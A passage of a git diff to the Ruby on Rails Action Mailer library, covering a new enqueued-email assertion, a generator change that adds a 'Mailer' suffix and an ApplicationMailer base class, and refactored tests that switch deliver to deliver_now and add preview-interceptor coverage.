+    #
+    #   def test_no_emails
+    #     assert_no_enqueued_emails
+    #     ContactMailer.welcome.deliver_later
+    #     assert_enqueued_emails 1
+    #   end
+    #
+    # If a block is provided, it should not cause any emails to be enqueued.
+    #
+    #   def test_no_emails
+    #     assert_no_enqueued_emails do
+    #       # No emails should be enqueued from this block
+    #     end
+    #   end
+    def assert_no_enqueued_emails(&block)
+      assert_no_enqueued_jobs only: ActionMailer::DeliveryJob, &block
+    end
   end
 end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 9d00091972..06f80a8fdc 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,11 +1,9 @@
+require_relative 'gem_version'
+
 module ActionMailer
-  # Returns the version of the currently loaded ActionMailer as a Gem::Version
+  # Returns the version of the currently loaded Action Mailer as a
+  # <tt>Gem::Version</tt>.
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActionMailer.version.segments
-    STRING = ActionMailer.version.to_s
+    gem_version
   end
 end
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
index 323bb8a87f..d9d9d064d8 100644
--- a/actionmailer/lib/rails/generators/mailer/USAGE
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -11,7 +11,7 @@ Example:
     rails generate mailer Notifications signup forgot_password invoice
 
     creates a Notifications mailer class, views, and test:
-        Mailer:     app/mailers/notifications.rb
+        Mailer:     app/mailers/notifications_mailer.rb
         Views:      app/views/notifications/signup.text.erb [...]
         Test:       test/mailers/notifications_test.rb
 
diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
index d5bf864595..3ec7d3d896 100644
--- a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
+++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
@@ -4,13 +4,22 @@ module Rails
       source_root File.expand_path("../templates", __FILE__)
 
       argument :actions, type: :array, default: [], banner: "method method"
-      check_class_collision
+
+      check_class_collision suffix: "Mailer"
 
       def create_mailer_file
-        template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}.rb")
+        template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}_mailer.rb")
+        if self.behavior == :invoke
+          template "application_mailer.rb", 'app/mailers/application_mailer.rb'
+        end
       end
 
       hook_for :template_engine, :test_framework
+
+      protected
+        def file_name
+          @_file_name ||= super.gsub(/\_mailer/i, '')
+        end
     end
   end
 end
diff --git a/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
new file mode 100644
index 0000000000..d25d8892dd
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/application_mailer.rb
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout 'mailer'
+end
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
index edcfb4233d..348d314758 100644
--- a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
@@ -1,12 +1,11 @@
 <% module_namespacing do -%>
-class <%= class_name %> < ActionMailer::Base
-  default from: "from@example.com"
+class <%= class_name %>Mailer < ApplicationMailer
 <% actions.each do |action| -%>
 
   # Subject can be set in your I18n file at config/locales/en.yml
   # with the following lookup:
   #
-  #   en.<%= file_path.tr("/",".") %>.<%= action %>.subject
+  #   en.<%= file_path.tr("/",".") %>_mailer.<%= action %>.subject
   #
   def <%= action %>
     @greeting = "Hi"
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index aa18c512c7..c4d5cb8c33 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -15,47 +15,35 @@ require 'mail'
 
 # Emulate AV railtie
 require 'action_view'
-ActionMailer::Base.send(:include, ActionView::Layouts)
+ActionMailer::Base.include(ActionView::Layouts)
 
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
-# Bogus template processors
-ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
-ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
 
 FIXTURE_LOAD_PATH = File.expand_path('fixtures', File.dirname(__FILE__))
 ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
 
-class MockSMTP
-  def self.deliveries
-    @@deliveries
-  end
-
-  def initialize
-    @@deliveries = []
-  end
-
-  def sendmail(mail, from, to)
-    @@deliveries << [mail, from, to]
-  end
-
-  def start(*args)
-    yield self
+module Rails
+  def self.root
+    File.expand_path('../', File.dirname(__FILE__))
   end
 end
 
-class Net::SMTP
-  def self.new(*args)
-    MockSMTP.new
-  end
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
 end
-
-def set_delivery_method(method)
-  @old_delivery_method = ActionMailer::Base.delivery_method
-  ActionMailer::Base.delivery_method = method
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
 end
 
-def restore_delivery_method
-  ActionMailer::Base.delivery_method = @old_delivery_method
-end
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionmailer/test/assert_select_email_test.rb b/actionmailer/test/assert_select_email_test.rb
new file mode 100644
index 0000000000..cae2e20abd
--- /dev/null
+++ b/actionmailer/test/assert_select_email_test.rb
@@ -0,0 +1,47 @@
+require 'abstract_unit'
+
+class AssertSelectEmailTest < ActionMailer::TestCase
+  class AssertSelectMailer < ActionMailer::Base
+    def test(html)
+      mail body: html, content_type: "text/html",
+        subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>"
+    end
+  end
+
+  class AssertMultipartSelectMailer < ActionMailer::Base
+    def test(options)
+      mail subject: "Test e-mail", from: "test@test.host", to: "test <test@test.host>" do |format|
+        format.text { render text: options[:text] }
+        format.html { render text: options[:html] }
+      end
+    end
+  end
+
+  #
+  # Test assert_select_email
+  #
+
+  def test_assert_select_email
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_select_email {}
+    end
+
+    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver_now
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+
+  def test_assert_select_email_multipart
+    AssertMultipartSelectMailer.test(html: "<div><p>foo</p><p>bar</p></div>", text: 'foo bar').deliver_now
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+end
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
index 00f1348a53..10cfdcf693 100644
--- a/actionmailer/test/asset_host_test.rb
+++ b/actionmailer/test/asset_host_test.rb
@@ -9,11 +9,8 @@ class AssetHostMailer < ActionMailer::Base
   end
 end
 
-class AssetHostTest < ActiveSupport::TestCase
+class AssetHostTest < ActionMailer::TestCase
   def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries.clear
     AssetHostMailer.configure do |c|
       c.asset_host = "http://www.example.com"
     end
@@ -25,31 +22,16 @@ class AssetHostTest < ActiveSupport::TestCase
 
   def test_asset_host_as_string
     mail = AssetHostMailer.email_with_asset
-    assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+    assert_dom_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
   end
 
   def test_asset_host_as_one_argument_proc
     AssetHostMailer.config.asset_host = Proc.new { |source|
       if source.starts_with?('/images')
-        "http://images.example.com"
-      else
-        "http://assets.example.com"
+        'http://images.example.com'
       end
     }
     mail = AssetHostMailer.email_with_asset
-    assert_equal %Q{<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />}, mail.body.to_s.strip
-  end
-
-  def test_asset_host_as_two_argument_proc
-    ActionController::Base.config.asset_host = Proc.new {|source,request|
-      if request && request.ssl?
-        "https://www.example.com"
-      else
-        "http://www.example.com"
-      end
-    }
-    mail = nil
-    assert_nothing_raised { mail = AssetHostMailer.email_with_asset }
-    assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+    assert_dom_equal %Q{<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />}, mail.body.to_s.strip
   end
 end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index b74728ae34..59c5638f96 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'set'
 
@@ -10,9 +9,20 @@ require 'mailers/proc_mailer'
 require 'mailers/asset_mailer'
 
 class BaseTest < ActiveSupport::TestCase
-  def teardown
-    ActionMailer::Base.asset_host = nil
-    ActionMailer::Base.assets_dir = nil
+  include Rails::Dom::Testing::Assertions::DomAssertions
+
+  setup do
+    @original_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.delivery_method = :test
+    @original_asset_host = ActionMailer::Base.asset_host
+    @original_assets_dir = ActionMailer::Base.assets_dir
+  end
+
+  teardown do
+    ActionMailer::Base.asset_host = @original_asset_host
+    ActionMailer::Base.assets_dir = @original_assets_dir
+    BaseMailer.deliveries.clear
+    ActionMailer::Base.delivery_method = @original_delivery_method
   end
 
   test "method call to mail does not raise error" do
@@ -103,6 +113,7 @@ class BaseTest < ActiveSupport::TestCase
   test "attachment gets content type from filename" do
     email = BaseMailer.attachment_with_content
     assert_equal('invoice.pdf', email.attachments[0].filename)
+    assert_equal('application/pdf', email.attachments[0].mime_type)
   end
 
   test "attachment with hash" do
@@ -200,25 +211,82 @@ class BaseTest < ActiveSupport::TestCase
   end
 
   test "subject gets default from I18n" do
-    BaseMailer.default subject: nil
-    email = BaseMailer.welcome(subject: nil)
-    assert_equal "Welcome", email.subject
+    with_default BaseMailer, subject: nil do
+      email = BaseMailer.welcome(subject: nil)
+      assert_equal "Welcome", email.subject
 
-    I18n.backend.store_translations('en', base_mailer: {welcome: {subject: "New Subject!"}})
-    email = BaseMailer.welcome(subject: nil)
-    assert_equal "New Subject!", email.subject
+      with_translation 'en', base_mailer: {welcome: {subject: "New Subject!"}} do
+        email = BaseMailer.welcome(subject: nil)
+        assert_equal "New Subject!", email.subject
+      end
+    end
   end
 
   test 'default subject can have interpolations' do
-    I18n.backend.store_translations('en', base_mailer: {with_subject_interpolations: {subject: 'Will the real %{rapper_or_impersonator} please stand up?'}})
-    email = BaseMailer.with_subject_interpolations
-    assert_equal 'Will the real Slim Shady please stand up?', email.subject
+    with_translation 'en', base_mailer: {with_subject_interpolations: {subject: 'Will the real %{rapper_or_impersonator} please stand up?'}} do
+      email = BaseMailer.with_subject_interpolations
+      assert_equal 'Will the real Slim Shady please stand up?', email.subject
+    end
   end
 
   test "translations are scoped properly" do
-    I18n.backend.store_translations('en', base_mailer: {email_with_translations: {greet_user: "Hello %{name}!"}})
-    email = BaseMailer.email_with_translations
-    assert_equal 'Hello lifo!', email.body.encoded
+    with_translation 'en', base_mailer: {email_with_translations: {greet_user: "Hello %{name}!"}} do
+      email = BaseMailer.email_with_translations
+      assert_equal 'Hello lifo!', email.body.encoded
+    end
+  end
+
+  test "adding attachments after mail was called raises exception" do
+    class LateAttachmentMailer < ActionMailer::Base
+      def welcome
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+        attachments['invoice.pdf'] = 'This is test File content'
+      end
+    end
+
+    e = assert_raises(RuntimeError) { LateAttachmentMailer.welcome.message }
+    assert_match(/Can't add attachments after `mail` was called./, e.message)
+  end
+
+  test "adding inline attachments after mail was called raises exception" do
+    class LateInlineAttachmentMailer < ActionMailer::Base
+      def welcome
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+        attachments.inline['invoice.pdf'] = 'This is test File content'
+      end
+    end
+
+    e = assert_raises(RuntimeError) { LateInlineAttachmentMailer.welcome.message }
+    assert_match(/Can't add attachments after `mail` was called./, e.message)
+  end
+
+  test "adding inline attachments while rendering mail works" do
+    class LateInlineAttachmentMailer < ActionMailer::Base
+      def on_render
+        mail from: "welcome@example.com", to: "to@example.com"
+      end
+    end
+
+    mail = LateInlineAttachmentMailer.on_render
+    assert_nothing_raised { mail.message }
+
+    assert_equal ["image/jpeg; filename=controller_attachments.jpg",
+                  "image/jpeg; filename=attachments.jpg"], mail.attachments.inline.map {|a| a['Content-Type'].to_s }
+  end
+
+  test "accessing attachments works after mail was called" do
+    class LateAttachmentAccessorMailer < ActionMailer::Base
+      def welcome
+        attachments['invoice.pdf'] = 'This is test File content'
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+
+        unless attachments.map(&:filename) == ["invoice.pdf"]
+          raise Minitest::Assertion, "Should allow access to attachments"
+        end
+      end
+    end
+
+    assert_nothing_raised { LateAttachmentAccessorMailer.welcome.message }
   end
 
   # Implicit multipart
@@ -284,10 +352,35 @@ class BaseTest < ActiveSupport::TestCase
       assert_equal("text/plain", email.parts[0].mime_type)
       assert_equal("Implicit with locale PL TEXT", email.parts[0].body.encoded)
       assert_equal("text/html", email.parts[1].mime_type)
-      assert_equal("Implicit with locale HTML", email.parts[1].body.encoded)
+      assert_equal("Implicit with locale EN HTML", email.parts[1].body.encoded)
+    end
+  end
+
+  test "implicit multipart with fallback locale" do
+    fallback_backend = Class.new(I18n::Backend::Simple) do
+      include I18n::Backend::Fallbacks
+    end
+
+    begin
+      backend = I18n.backend
+      I18n.backend = fallback_backend.new
+      I18n.fallbacks[:"de-AT"] = [:de]
+
+      swap I18n, locale: 'de-AT' do
+        email = BaseMailer.implicit_with_locale
+        assert_equal(2, email.parts.size)
+        assert_equal("multipart/alternative", email.mime_type)
+        assert_equal("text/plain", email.parts[0].mime_type)
+        assert_equal("Implicit with locale DE-AT TEXT", email.parts[0].body.encoded)
+        assert_equal("text/html", email.parts[1].mime_type)
+        assert_equal("Implicit with locale DE HTML", email.parts[1].body.encoded)
+      end
+    ensure
+      I18n.backend = backend
     end
   end
 
+
   test "implicit multipart with several view paths uses the first one with template" do
     old = BaseMailer.view_paths
     begin
@@ -406,23 +499,19 @@ class BaseTest < ActiveSupport::TestCase
   end
 
   test "calling just the action should return the generated mail object" do
-    BaseMailer.deliveries.clear
     email = BaseMailer.welcome
     assert_equal(0, BaseMailer.deliveries.length)
     assert_equal('The first email on new API!', email.subject)
   end
 
   test "calling deliver on the action should deliver the mail object" do
-    BaseMailer.deliveries.clear
     BaseMailer.expects(:deliver_mail).once
-    mail = BaseMailer.welcome.deliver
+    mail = BaseMailer.welcome.deliver_now
     assert_equal 'The first email on new API!', mail.subject
   end
 
   test "calling deliver on the action should increment the deliveries collection if using the test mailer" do
-    BaseMailer.delivery_method = :test
-    BaseMailer.deliveries.clear
-    BaseMailer.welcome.deliver
+    BaseMailer.welcome.deliver_now
     assert_equal(1, BaseMailer.deliveries.length)
   end
 
@@ -435,36 +524,35 @@ class BaseTest < ActiveSupport::TestCase
 
   # Rendering
   test "you can specify a different template for implicit render" do
-    mail = BaseMailer.implicit_different_template('implicit_multipart').deliver
+    mail = BaseMailer.implicit_different_template('implicit_multipart').deliver_now
     assert_equal("HTML Implicit Multipart", mail.html_part.body.decoded)
     assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
   end
 
   test "should raise if missing template in implicit render" do
-    BaseMailer.deliveries.clear
     assert_raises ActionView::MissingTemplate do
-      BaseMailer.implicit_different_template('missing_template').deliver
+      BaseMailer.implicit_different_template('missing_template').deliver_now
     end
     assert_equal(0, BaseMailer.deliveries.length)
   end
 
   test "you can specify a different template for explicit render" do
-    mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver
+    mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver_now
     assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
     assert_equal("TEXT Explicit Multipart Templates", mail.text_part.body.decoded)
   end
 
   test "you can specify a different layout" do
-    mail = BaseMailer.different_layout('different_layout').deliver
+    mail = BaseMailer.different_layout('different_layout').deliver_now
     assert_equal("HTML -- HTML", mail.html_part.body.decoded)
     assert_equal("PLAIN -- PLAIN", mail.text_part.body.decoded)
   end
 
   test "you can specify the template path for implicit lookup" do
-    mail = BaseMailer.welcome_from_another_path('another.path/base_mailer').deliver
+    mail = BaseMailer.welcome_from_another_path('another.path/base_mailer').deliver_now
     assert_equal("Welcome from another path", mail.body.encoded)
 
-    mail = BaseMailer.welcome_from_another_path(['unknown/invalid', 'another.path/base_mailer']).deliver
+    mail = BaseMailer.welcome_from_another_path(['unknown/invalid', 'another.path/base_mailer']).deliver_now
     assert_equal("Welcome from another path", mail.body.encoded)
   end
 
@@ -474,34 +562,33 @@ class BaseTest < ActiveSupport::TestCase
 
     mail = AssetMailer.welcome
 
-    assert_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
+    assert_dom_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
   end
 
   test "assets tags should use a Mailer's asset_host settings when available" do
-    begin
-      ActionMailer::Base.config.asset_host = "http://global.com"
-      ActionMailer::Base.config.assets_dir = "global/"
+    ActionMailer::Base.config.asset_host = "http://global.com"
+    ActionMailer::Base.config.assets_dir = "global/"
 
-      AssetMailer.asset_host = "http://local.com"
+    TempAssetMailer = Class.new(AssetMailer) do
+      self.mailer_name = "asset_mailer"
+      self.asset_host = "http://local.com"
+    end
 
-      mail = AssetMailer.welcome
+    mail = TempAssetMailer.welcome
 
-      assert_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
-    ensure
-      AssetMailer.asset_host = ActionMailer::Base.config.asset_host
-    end
+    assert_dom_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
   end
 
   test 'the view is not rendered when mail was never called' do
     mail = BaseMailer.without_mail_call
     assert_equal('', mail.body.to_s.strip)
-    mail.deliver
+    mail.deliver_now
   end
 
   test 'the return value of mailer methods is not relevant' do
     mail = BaseMailer.with_nil_as_return_value
     assert_equal('Welcome', mail.body.to_s.strip)
-    mail.deliver
+    mail.deliver_now
   end
 
   # Before and After hooks
@@ -517,57 +604,87 @@ class BaseTest < ActiveSupport::TestCase
   end
 
   test "you can register an observer to the mail object that gets informed on email delivery" do
-    ActionMailer::Base.register_observer(MyObserver)
-    mail = BaseMailer.welcome
-    MyObserver.expects(:delivered_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_observer(MyObserver)
+      mail = BaseMailer.welcome
+      MyObserver.expects(:delivered_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   test "you can register an observer using its stringified name to the mail object that gets informed on email delivery" do
-    ActionMailer::Base.register_observer("BaseTest::MyObserver")
-    mail = BaseMailer.welcome
-    MyObserver.expects(:delivered_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_observer("BaseTest::MyObserver")
+      mail = BaseMailer.welcome
+      MyObserver.expects(:delivered_email).with(mail)
+      mail.deliver_now
+    end
+  end
+
+  test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_observer(:"base_test/my_observer")
+      mail = BaseMailer.welcome
+      MyObserver.expects(:delivered_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   test "you can register multiple observers to the mail object that both get informed on email delivery" do
-    ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
-    mail = BaseMailer.welcome
-    MyObserver.expects(:delivered_email).with(mail)
-    MySecondObserver.expects(:delivered_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
+      mail = BaseMailer.welcome
+      MyObserver.expects(:delivered_email).with(mail)
+      MySecondObserver.expects(:delivered_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   class MyInterceptor
-    def self.delivering_email(mail)
-    end
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
   end
 
   class MySecondInterceptor
-    def self.delivering_email(mail)
-    end
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
   end
 
   test "you can register an interceptor to the mail object that gets passed the mail object before delivery" do
-    ActionMailer::Base.register_interceptor(MyInterceptor)
-    mail = BaseMailer.welcome
-    MyInterceptor.expects(:delivering_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor(MyInterceptor)
+      mail = BaseMailer.welcome
+      MyInterceptor.expects(:delivering_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   test "you can register an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
-    ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
-    mail = BaseMailer.welcome
-    MyInterceptor.expects(:delivering_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
+      mail = BaseMailer.welcome
+      MyInterceptor.expects(:delivering_email).with(mail)
+      mail.deliver_now
+    end
+  end
+
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
+      mail = BaseMailer.welcome
+      MyInterceptor.expects(:delivering_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
-    ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
-    mail = BaseMailer.welcome
-    MyInterceptor.expects(:delivering_email).with(mail)
-    MySecondInterceptor.expects(:delivering_email).with(mail)
-    mail.deliver
+    mail_side_effects do
+      ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+      mail = BaseMailer.welcome
+      MyInterceptor.expects(:delivering_email).with(mail)
+      MySecondInterceptor.expects(:delivering_email).with(mail)
+      mail.deliver_now
+    end
   end
 
   test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
@@ -671,6 +788,27 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
   end
 
+  test "mail() without arguments serves as getter for the current mail message" do
+    class MailerWithCallback < ActionMailer::Base
+      after_action :a_callback
+
+      def welcome
+        headers('X-Special-Header' => 'special indeed!')
+        mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+      end
+
+      def a_callback
+        mail.to << "jane@example.com"
+      end
+    end
+
+    mail = MailerWithCallback.welcome
+    assert_equal "subject", mail.subject
+    assert_equal ["joe@example.com", "jane@example.com"], mail.to
+    assert_equal "hello world", mail.body.encoded.strip
+    assert_equal "special indeed!", mail["X-Special-Header"].to_s
+  end
+
   protected
 
     # Execute the block setting the given values and restoring old values after
@@ -695,4 +833,77 @@ class BaseTest < ActiveSupport::TestCase
     ensure
       klass.default_params = old
     end
+
+    # A simple hack to restore the observers and interceptors for Mail, as it
+    # does not have an unregister API yet.
+    def mail_side_effects
+      old_observers = Mail.class_variable_get(:@@delivery_notification_observers)
+      old_delivery_interceptors = Mail.class_variable_get(:@@delivery_interceptors)
+      yield
+    ensure
+      Mail.class_variable_set(:@@delivery_notification_observers, old_observers)
+      Mail.class_variable_set(:@@delivery_interceptors, old_delivery_interceptors)
+    end
+
+    def with_translation(locale, data)
+      I18n.backend.store_translations(locale, data)
+      yield
+    ensure
+      I18n.backend.reload!
+    end
+end
+
+class BasePreviewInterceptorsTest < ActiveSupport::TestCase
+  teardown do
+    ActionMailer::Base.preview_interceptors.clear
+  end
+
+  class BaseMailerPreview < ActionMailer::Preview
+    def welcome
+      BaseMailer.welcome
+    end
+  end
+
+  class MyInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  class MySecondInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(MyInterceptor)
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor")
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(:"base_preview_interceptors_test/my_interceptor")
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
+
+  test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor)
+    mail = BaseMailer.welcome
+    BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+    MyInterceptor.expects(:previewing_email).with(mail)
+    MySecondInterceptor.expects(:previewing_email).with(mail)
+    BaseMailerPreview.call(:welcome)
+  end
 end
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index 61a037ea18..2e4e019bf7 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -38,19 +38,21 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
   end
 
   test "default sendmail settings" do
-    settings = {location:  '/usr/sbin/sendmail',
-                arguments: '-i -t'}
+    settings = {
+      location:  '/usr/sbin/sendmail',
+      arguments: '-i -t'
+    }
     assert_equal settings, ActionMailer::Base.sendmail_settings
   end
 end
 
 class CustomDeliveryMethodsTest < ActiveSupport::TestCase
-  def setup
+  setup do
     @old_delivery_method = ActionMailer::Base.delivery_method
     ActionMailer::Base.add_delivery_method :custom, MyCustomDelivery
   end
 
-  def teardown
+  teardown do
     ActionMailer::Base.delivery_method = @old_delivery_method
     new = ActionMailer::Base.delivery_methods.dup
     new.delete(:custom)
@@ -91,34 +93,32 @@ class MailDeliveryTest < ActiveSupport::TestCase
     end
   end
 
-  def setup
-    ActionMailer::Base.delivery_method = :smtp
+  setup do
+    @old_delivery_method = DeliveryMailer.delivery_method
   end
 
-  def teardown
-    DeliveryMailer.delivery_method = :smtp
-    DeliveryMailer.perform_deliveries = true
-    DeliveryMailer.raise_delivery_errors = true
+  teardown do
+    DeliveryMailer.delivery_method = @old_delivery_method
+    DeliveryMailer.deliveries.clear
   end
 
   test "ActionMailer should be told when Mail gets delivered" do
-    DeliveryMailer.deliveries.clear
     DeliveryMailer.expects(:deliver_mail).once
-    DeliveryMailer.welcome.deliver
+    DeliveryMailer.welcome.deliver_now
   end
 
   test "delivery method can be customized per instance" do
-    email = DeliveryMailer.welcome.deliver
+    Mail::SMTP.any_instance.expects(:deliver!)
+    email = DeliveryMailer.welcome.deliver_now
     assert_instance_of Mail::SMTP, email.delivery_method
-    email = DeliveryMailer.welcome(delivery_method: :test).deliver
+    email = DeliveryMailer.welcome(delivery_method: :test).deliver_now
     assert_instance_of Mail::TestMailer, email.delivery_method
   end
 
   test "delivery method can be customized in subclasses not changing the parent" do
     DeliveryMailer.delivery_method = :test
     assert_equal :smtp, ActionMailer::Base.delivery_method
-    $BREAK = true
-    email = DeliveryMailer.welcome.deliver
+    email = DeliveryMailer.welcome.deliver_now
     assert_instance_of Mail::TestMailer, email.delivery_method
   end
 
@@ -138,13 +138,15 @@ class MailDeliveryTest < ActiveSupport::TestCase
   end
 
   test "default delivery options can be overridden per mail instance" do
-    settings = { address:              "localhost",
-                 port:                 25,
-                 domain:               'localhost.localdomain',
-                 user_name:            nil,
-                 password:             nil,
-                 authentication:       nil,
-                 enable_starttls_auto: true }
+    settings = {
+      address: "localhost",
+      port: 25,
+      domain: 'localhost.localdomain',
+      user_name: nil,
+      password: nil,
+      authentication: nil,
+      enable_starttls_auto: true
+    }
     assert_equal settings, ActionMailer::Base.smtp_settings
     overridden_options = {user_name: "overridden", password: "somethingobtuse"}
     mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
@@ -152,60 +154,84 @@ class MailDeliveryTest < ActiveSupport::TestCase
     assert_equal "overridden", delivery_method_instance.settings[:user_name]
     assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
     assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+
+    # make sure that overriding delivery method options per mail instance doesn't affect the Base setting
+    assert_equal settings, ActionMailer::Base.smtp_settings
   end
 
   test "non registered delivery methods raises errors" do
     DeliveryMailer.delivery_method = :unknown
     assert_raise RuntimeError do
-      DeliveryMailer.welcome.deliver
